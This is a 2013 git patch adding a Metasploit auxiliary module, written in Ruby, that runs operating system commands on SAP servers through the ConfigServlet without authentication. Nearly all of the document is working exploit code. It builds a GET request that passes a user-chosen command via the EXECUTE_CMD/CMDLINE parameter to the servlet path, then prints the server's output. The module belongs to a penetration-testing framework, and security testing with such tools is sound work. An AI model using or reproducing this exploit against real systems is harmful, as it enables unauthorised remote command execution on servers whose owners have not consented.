From 8f76c436d6a7e1320a35c9462a0829df495cd1d4 Mon Sep 17 00:00:00 2001
From: Andras Kabai <andrew.kabai@gmail.com>
Date: Thu, 18 Apr 2013 20:26:48 +0200
Subject: [PATCH] SAP ConfigServlet OS Command Execution module

This module allows execution of operating system commands throug the
SAP ConfigServlet without any authentication.
---
 .../sap/sap_configservlet_exec_noauth.rb      | 63 +++++++++++++++++++
 1 file changed, 63 insertions(+)
 create mode 100644 modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb

diff --git a/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb b/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb
new file mode 100644
index 0000000000..3c3440c953
--- /dev/null
+++ b/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb
@@ -0,0 +1,63 @@
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+	Rank = ExcellentRanking
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Scanner
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'            => 'SAP ConfigServlet OS Command Execution',
+			'Description'     => %q{
+				This module allows execution of operating system commands through
+				the SAP ConfigServlet without any authentication.
+			},
+			'Author'          =>
+				[
+					'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
+					'Andras Kabai' # Metasploit module
+				],
+			'License'         => MSF_LICENSE,
+			'References'      =>
+				[
+					[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
+				],
+			'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation
+			))
+
+		register_options(
+			[
+				Opt::RPORT(50000),
+				OptString.new('CMD', [ true, 'The command to execute', 'whoami']),
+				OptString.new('PATH', [ true, 'Path to ConfigServlet ', '/ctc/servlet/ConfigServlet']),
+				OptBool.new('SSL', [true, 'Use SSL', false])
+			], self.class)
+	end
+
+	def run_host(ip)
+		begin
+			print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
+			res = send_request_cgi(
+				{
+					'uri'    => datastore['PATH'] + '?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(datastore['CMD']),
+					'method' => 'GET'
+				})
+			if !res or res.code != 200
+				print_error("#{rhost}:#{rport} - Exploit failed.")
+				return
+			end
+		rescue ::Rex::ConnectionError
+			print_error("#{rhost}:#{rport} - Failed to connect to the server")
+			return
+		end
+
+		if res.body.include?("Process created")
+			print_good("#{rhost}:#{rport} - Exploited successfully\n")
+			print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
+			print_line("#{rhost}:#{rport} - Output: #{res.body}")
+		else
+			print_error("#{rhost}:#{rport} - Exploit failed.")
+			vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
+		end
+	end
+end